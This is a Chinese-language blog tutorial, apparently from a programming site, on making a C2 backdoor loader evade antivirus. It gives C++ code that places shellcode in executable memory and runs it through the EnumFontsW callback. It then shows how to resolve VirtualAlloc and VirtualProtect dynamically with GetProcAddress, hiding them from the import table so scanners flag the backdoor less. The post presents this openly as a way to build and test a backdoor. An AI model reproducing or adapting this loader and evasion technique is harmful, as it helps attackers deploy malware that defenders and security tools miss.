【免杀】C2远控-Loader加载器-动态API调用


作用:绕过杀毒对导入表的检测定性

创建后门程序
  • VS新建项目
    回调函数加载Loader
#include <Windows.h>

unsigned char shellcode[] ="";

void CallBack() {

    void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));

    /*
    * EnumFontsW是Windows API,用于枚举系统中所有可用字体
    * 参数1:设备环境句柄,表示要枚举哪个设备的字体
    * 参数2:NULL表示枚举所有字体
    * 参数3:回调函数指针,用于处理每个枚举到的字体信息
    * 参数4:回调函数参数
    */
    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数

}

int main() {
    CallBack();
}
  • 填入自己的shellcode
  • 编译程序测试上线,测试成功
站在杀毒程序立场上对后门进行分析
  • PE查看后门导入表

    可以看到代码里面的一些函数

    杀毒软件也可以看到这些封装的函数,它会重点关注这些封装的关键函数
  • 动态调用就是不封装在这里面,绕过杀毒对导入表的检测定性
例:动态调用VirtualProtect函数

动态调用模板代码

typedef BOOL(WINAPI* vp)(
	LPVOID      Address,
	DWORD       size,
	DWORD       New,
	PDWORD      Old
	);
vp vip = (vp)GetProcAddress(
	GetModuleHandleA("Kernel32.dll"),
	"VirtualProtect"
);

例子:对回调loader进行某函数动态API加载

  • 这里我对VirtualAlloc函数进行动态调用
    联机搜索,然后替换


    该代码片段用于动态获取 Kernel32.dll 库中 VirtualAlloc 函数的地址。
    要一一对应

    然后替换这个

    重新生成程序,用pe查看,发现查看不到 VirtualAlloc 函数了
    那么杀毒软件按照这个逻辑检测也就看不到这些关键的函数了。自然也就不会着重查看这些函数了。
    同理也可以将其他的关键函数都进行动态调用 ,那么你后门的特征就更少了,被杀毒软件的检测到的可能性也就降低了。
  • 16
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值